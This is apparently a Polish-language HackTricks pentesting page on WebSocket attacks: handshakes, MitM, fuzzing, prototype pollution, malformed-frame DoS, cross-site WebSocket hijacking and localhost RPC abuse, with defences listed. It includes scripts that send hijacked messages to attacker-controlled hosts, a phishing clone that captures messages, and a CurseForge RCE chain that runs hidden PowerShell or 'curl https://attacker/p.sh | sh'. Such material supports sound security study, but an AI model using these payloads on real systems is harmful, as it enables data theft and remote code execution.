WebSocket Attacks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym są WebSockets

Połączenia WebSocket są ustanawiane poprzez początkowy HTTP handshake i zaprojektowane jako długotrwałe, pozwalając na dwukierunkowe przesyłanie wiadomości w dowolnym momencie bez konieczności korzystania z systemu transakcyjnego. Dzięki temu WebSockets są szczególnie przydatne w aplikacjach wymagających niskiego opóźnienia lub komunikacji inicjowanej przez serwer, takich jak transmisje danych finansowych na żywo.

Nawiązywanie połączeń WebSocket

Szczegółowe wyjaśnienie na temat nawiązywania połączeń WebSocket można znaleźć here. W skrócie, połączenia WebSocket są zwykle inicjowane po stronie klienta za pomocą JavaScript, jak pokazano poniżej:

var ws = new WebSocket("wss://normal-website.com/ws")

Protokół wss oznacza połączenie WebSocket zabezpieczone za pomocą TLS, podczas gdy ws wskazuje na połączenie niezabezpieczone.

Podczas nawiązywania połączenia wykonywany jest handshake pomiędzy przeglądarką a serwerem za pomocą HTTP. Proces handshake polega na tym, że przeglądarka wysyła żądanie, a serwer odpowiada, jak pokazano w poniższych przykładach:

Przeglądarka wysyła żądanie handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odpowiedź serwera na handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Po nawiązaniu połączenia pozostaje ono otwarte, umożliwiając wymianę wiadomości w obu kierunkach.

Kluczowe punkty handshake’u WebSocket:

  • Nagłówki Connection i Upgrade sygnalizują rozpoczęcie handshake’u WebSocket.
  • Nagłówek Sec-WebSocket-Version wskazuje pożądaną wersję protokołu WebSocket, zwykle 13.
  • W nagłówku Sec-WebSocket-Key wysyłana jest losowa wartość zakodowana w Base64, zapewniająca unikalność każdego handshake’u, co pomaga zapobiegać problemom z caching proxy. Ta wartość nie służy do uwierzytelniania, lecz potwierdza, że odpowiedź nie została wygenerowana przez błędnie skonfigurowany serwer lub cache.
  • Nagłówek Sec-WebSocket-Accept w odpowiedzi serwera to hash wartości z nagłówka Sec-WebSocket-Key, weryfikujący intencję serwera otwarcia połączenia WebSocket.

Te cechy zapewniają, że proces handshake’u jest bezpieczny i niezawodny, torując drogę do wydajnej komunikacji w czasie rzeczywistym.

Konsola Linux

Możesz użyć websocat, aby nawiązać surowe połączenie z WebSocketem.

websocat --insecure wss://10.10.10.10:8000 -v

Albo utworzyć serwer websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket połączenia

Jeśli stwierdzisz, że klienci w twojej bieżącej sieci lokalnej są połączeni z HTTP websocket, możesz spróbować ARP Spoofing Attack aby przeprowadzić atak MitM między klientem a serwerem.
Gdy klient będzie próbował połączyć się z tobą, możesz wtedy użyć:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeracja WebSocket

Możesz użyć narzędzia https://github.com/PalindromeLabs/STEWS do automatycznego wykrywania, fingerprintowania i wyszukiwania znanych vulnerabilities w websockets.

Narzędzia do debugowania WebSocket

  • Burp Suite obsługuje MitM komunikację websockets w sposób bardzo podobny do zwykłej komunikacji HTTP.
  • Rozszerzenie socketsleuth Burp Suite extension pozwala lepiej zarządzać komunikacją Websocket w Burp, uzyskując history, ustawiając interception rules, używając reguł match and replace, oraz korzystając z Intruder i AutoRepeater.
  • WSSiP: Skrót od “WebSocket/Socket.io Proxy”, to narzędzie napisane w Node.js, udostępnia interfejs użytkownika do capture, intercept, send custom wiadomości oraz podglądu wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
  • wsrepl to interactive websocket REPL zaprojektowany specjalnie do penetration testing. Zapewnia interfejs do obserwowania incoming websocket messages and sending new ones, z łatwym w użyciu frameworkiem do automating tej komunikacji.
  • https://websocketking.com/ to webowy interfejs do komunikacji z innymi serwisami używającymi websockets.
  • https://hoppscotch.io/realtime/websocket poza innymi typami komunikacji/protokolami, udostępnia webowy interfejs do komunikacji z innymi serwisami używającymi websockets.

Odszyfrowywanie WebSocket

Laboratorium WebSocket

W Burp-Suite-Extender-Montoya-Course znajdziesz kod do uruchomienia serwisu webowego używającego websockets, a w this post znajdziesz wyjaśnienie.

WebSocket Fuzzing

Rozszerzenie Burp Backslash Powered Scanner pozwala teraz także fuzzować wiadomości WebSocket. Więcej informacji znajdziesz here.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder firmy PortSwigger wprowadza Turbo Intruder–style Python scripting oraz high‑rate fuzzing dla WebSockets. Zainstaluj go z BApp Store lub ze źródeł. Zawiera dwa komponenty:

  • Turbo Intruder: high‑volume messaging do pojedynczego WS endpointu przy użyciu custom engines.
  • HTTP Middleware: udostępnia lokalny HTTP endpoint, który przekazuje bodies jako WS messages przez trwałe połączenie, dzięki czemu dowolny skaner oparty na HTTP może probe WS backends.

Podstawowy wzorzec skryptu do fuzzowania WS endpointu i filtrowania istotnych odpowiedzi:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Użyj dekoratorów takich jak @MatchRegex(...), aby zmniejszyć szum, gdy jedna wiadomość wywołuje wiele odpowiedzi.

Mostkowanie WS za HTTP (HTTP Middleware)

Opakuj trwałe połączenie WS i przekazuj treści HTTP jako wiadomości WS do automatycznego testowania za pomocą HTTP scannerów:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Następnie wyślij HTTP lokalnie; body jest przekazywane jako wiadomość WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

To pozwala sterować backendami WS przy jednoczesnym filtrowaniu „interesujących” zdarzeń (np. błędy związane z SQLi, auth bypass, command injection).

Obsługa Socket.IO (handshake, heartbeats, events)

Socket.IO dodaje własne ramkowanie nad WS. Wykryjesz je przez obowiązkowy parametr query EIO (np. EIO=4). Utrzymuj sesję przy życiu za pomocą Ping (2) i Pong (3) i rozpocznij konwersację od "40", następnie emituj zdarzenia takie jak 42["message","hello"].

Przykład Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Wariant adaptera HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Wykrywanie server‑side prototype pollution przez Socket.IO

Postępując zgodnie z bezpieczną techniką wykrywania PortSwiggera, spróbuj wywołać prototype pollution wewnętrznych elementów Express, wysyłając payload taki jak:

{"__proto__":{"initialPacket":"Polluted"}}

Jeśli powitania lub zachowanie się zmieniają (np. echo zawiera “Polluted”), najprawdopodobniej zanieczyściłeś server-side prototypes. Wpływ zależy od reachable sinks; skoreluj to z gadgetami w sekcji Node.js prototype pollution. Zobacz:

Warunki wyścigu WebSocket z Turbo Intruder

Domyślny engine grupuje (batchuje) wiadomości na jednym połączeniu (duża przepustowość, słabe do wyścigów). Użyj silnika THREADED, aby uruchomić wiele połączeń WS i wysyłać payloady równolegle, by wywołać logic races (double‑spend, token reuse, state desync). Zacznij od przykładowego skryptu i dostosuj concurrency w config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Sporządź ramki WS, których nagłówek deklaruje ogromny payload length, ale nie wysyłaj body. Niektóre serwery WS ufają temu length i pre‑alokują bufory; ustawienie go blisko Integer.MAX_VALUE może spowodować Out‑Of‑Memory i remote unauth DoS. Zobacz przykład skryptu.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Włącz WS Logger, aby przechwycić i skorelować wiadomości przy użyciu internal IDs.
  • Używaj helperów inc*/dec* na Connection, żeby dostroić obsługę message ID w złożonych adapterach.
  • Dekoratory takie jak @PingPong/@Pong oraz helpery typu isInteresting() redukują szum i utrzymują sesje przy życiu.

Bezpieczeństwo operacyjne

Wysokoczestotliwościowe fuzzowanie WS może otworzyć wiele połączeń i wysyłać tysiące wiadomości na sekundę. Niepoprawne ramki i duże rate’y mogą spowodować realny DoS. Używaj tylko tam, gdzie jest to dozwolone.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, znane też jako cross-origin WebSocket hijacking, jest szczególnym przypadkiem Cross-Site Request Forgery (CSRF) dotyczącego handshake’ów WebSocket. Ta podatność pojawia się, gdy handshake’y WebSocket uwierzytelniają tylko za pomocą HTTP cookies bez CSRF tokens lub podobnych zabezpieczeń.

Atakujący może to wykorzystać, hostując złośliwą stronę która inicjuje cross-site WebSocket connection do podatnej aplikacji. W rezultacie połączenie traktowane jest jako część sesji ofiary z aplikacją, eksploatując brak ochrony CSRF w mechanizmie obsługi sesji.

Aby ten atak zadziałał, muszą być spełnione następujące wymagania:

  • The websocket authentication must be cookie based
  • The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

Również:

  • Jeśli uwierzytelnianie opiera się na lokalnym połączeniu (do localhost lub do lokalnej sieci), atak będzie możliwy, ponieważ obecne mechanizmy ochrony tego nie zabraniają (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

W serwerach Gorilla WebSocket ustawienie CheckOrigin tak, by zawsze zwracało true, akceptuje handshake’y z dowolnego Origin. Gdy endpoint WS dodatkowo lacks authentication, dowolna strona osiągalna z przeglądarki ofiary (Internet lub intranet) może zainicjować upgrade socketu i zacząć odczytywać/wysyłać wiadomości cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Wpływ: eksfiltracja w czasie rzeczywistym przesyłanych danych (np. przechwyconych e-maili/powiadomień) bez poświadczeń użytkownika, gdy dowolny Origin jest akceptowany i punkt końcowy pomija uwierzytelnianie.

Prosty atak

Zwróć uwagę, że podczas nawiązywania połączenia websocket cookie jest wysyłane do serwera. Serwer może używać go, aby powiązać każdego konkretnego użytkownika z jego websocket sesją opartą na wysłanym cookie.

Następnie, jeśli na przykład websocket serwer odsyła historię konwersacji użytkownika, jeśli msg z “READY” zostanie wysłany, wtedy prosty XSS nawiązujący połączenie (the cookie will be sent automatically to authorise the victim user) sendingREADY” będzie w stanie pobrać historię konwersacji.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

W tym wpisie na blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ atakujący zdołał execute arbitrary Javascript in a subdomain domeny, w której odbywała się komunikacja web socket. Ponieważ był to subdomain, cookie było sent, a ponieważ Websocket didn’t check the Origin properly, możliwe było komunikowanie się z nim i steal tokens from it.

Kradzież danych od użytkownika

Skopiuj aplikację webową, którą chcesz podszyć (na przykład pliki .html) i w skrypcie, w którym zachodzi komunikacja websocket, dodaj ten kod:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Teraz pobierz plik wsHook.js z https://github.com/skepticfx/wshook i zapisz go w folderze z plikami webowymi.
Udostępniając aplikację webową i sprawiając, że użytkownik się z nią połączy, będziesz w stanie przechwycić wysyłane i odbierane wiadomości przez websocket:

sudo python3 -m http.server 80

Ochrony CSWSH

Atak CSWSH opiera się na tym, że użytkownik połączy się ze złośliwą stroną, która otworzy połączenie websocket do strony, na którą użytkownik jest już zalogowany, i uwierzytelni się w jego imieniu, ponieważ żądanie wyśle cookies użytkownika.

Obecnie bardzo łatwo zapobiec temu problemowi:

  • Websocket server checking the origin: Serwer websocket powinien zawsze sprawdzać, skąd następuje połączenie (nagłówek Origin), aby zapobiec łączeniu się nieoczekiwanych stron.
  • Authentication token: Zamiast opierać uwierzytelnianie na cookie, połączenie websocket może opierać się na tokenie generowanym przez serwer dla użytkownika, nieznanym atakującemu (np. token anti-CSRF).
  • SameSite Cookie attribute: Cookies z wartością SameSite ustawioną na Lax lub Strict nie będą wysyłane ze strony atakującej do serwera ofiary, więc uwierzytelnianie oparte na cookie nie powiedzie się. Zauważ, że Chrome domyślnie ustawia wartość Lax dla cookies, dla których ten flag nie został określony, co czyni to bezpieczniejszym domyślnie. Jednak przez pierwsze 2 minuty po utworzeniu cookie będzie miało wartość None, co czyni je podatnym w tym ograniczonym okresie (oczekuje się również, że ten środek zostanie w pewnym momencie usunięty).
  • Firefox Total Cookie Protection: Total Cookie Protection działa poprzez izolowanie cookies do strony, na której zostały utworzone. W praktyce każda strona ma własny podział magazynu cookies, aby uniemożliwić stronom trzecim łączenie historii przeglądania użytkownika. To sprawia, że CSWSH jest nieużyteczny, ponieważ strona atakująca nie będzie miała dostępu do cookies.
  • Chrome third-party cookies block: To także może zapobiec wysłaniu cookie zalogowanego użytkownika do serwera websocket nawet przy SameSite=None.

Nadużycie Localhost WebSocket i wykrywanie portów przez przeglądarkę

Programy uruchamiające na desktopie często startują pomocnicze procesy (np. CurseForge’s CurseAgent.exe), które wystawiają JSON-RPC WebSockets na 127.0.0.1:<random_port>. Przeglądarka nie egzekwuje SOP na gniazdach loopback, więc dowolna strona WWW może spróbować handshake. Jeśli agent akceptuje dowolne wartości Origin i pomija dodatkowe uwierzytelnianie, powierzchnia IPC staje się zdalnie kontrolowalna bezpośrednio z JavaScript.

Enumerating exposed methods

Przechwyć prawidłową sesję, aby poznać kontrakt protokołu. CurseForge, na przykład, emituje ramki takie jak {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} gdzie name to metoda RPC, a args zawiera złożone obiekty (GUIDy, rozdzielczość, flagi, itd.). Gdy ten schemat jest znany, możesz wywołać metody takie jak createModpack, minecraftGetDefaultLocation lub inne uprzywilejowane zadania bezpośrednio ze wstrzykniętej strony.

Odkrywanie portów z poziomu przeglądarki

Ponieważ helper wiąże się z losowym wysokim portem, exploit najpierw bruteforcuje localhost przez WebSockets. Przeglądarki oparte na Chromium tolerują ~16k nieudanych upgrade’ów zanim zacznie się throttling, co wystarcza, by przeskanować zakres efemeryczny; Firefox ma tendencję do crashowania lub zamrażania po kilkuset porażkach, więc praktyczne PoC często celują w Chromium.

Minimalny skaner przeglądarki ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Gdy połączenie przetrwa handshake i zwróci dane specyficzne dla protokołu, ponownie użyj tego socketu do łańcucha RPC.

Łączenie metod JSON-RPC w RCE

Eksploit CurseForge łączy dwa wywołania bez uwierzytelnienia:

  1. createModpack → zwraca nowy MinecraftInstanceGuid bez interakcji użytkownika.
  2. minecraftTaskLaunchInstance → uruchamia ten GUID, akceptując dowolne flagi JVM przez AdditionalJavaArguments.

Opcje diagnostyczne JNI/JVM zapewniają wtedy gotowy prymityw RCE. Na przykład ogranicz metaspace, aby wymusić awarię i wykorzystać error hook do wykonania polecenia:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Na systemach Unix wystarczy zamienić payload na /bin/sh -c 'curl https://attacker/p.sh | sh'. Działa to nawet gdy nie możesz modyfikować kodu aplikacji — kontrola JVM CLI wystarcza.

Ten wzorzec “create resource → privileged launch” pojawia się często w updaters i launchers. Za każdym razem, gdy metoda (1) zwraca identyfikator śledzony przez serwer, a metoda (2) wykonuje kod lub uruchamia proces z tym identyfikatorem, sprawdź, czy można wstrzyknąć argumenty kontrolowane przez użytkownika.

Race Conditions

Race Conditions in WebSockets też występują, sprawdź te informacje, aby dowiedzieć się więcej.

Inne podatności

Ponieważ Web Sockets są mechanizmem do send data to server side and client side, w zależności od tego, jak serwer i klient przetwarzają informacje, Web Sockets mogą być użyte do exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.

WebSocket Smuggling

Ta podatność może pozwolić ci bypass reverse proxies restrictions przez sprawienie, że będą wierzyć, że websocket communication was stablished (nawet jeśli nie jest to prawda). Może to pozwolić atakującemu na access hidden endpoints. Aby uzyskać więcej informacji sprawdź następującą stronę:

Upgrade Header Smuggling

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks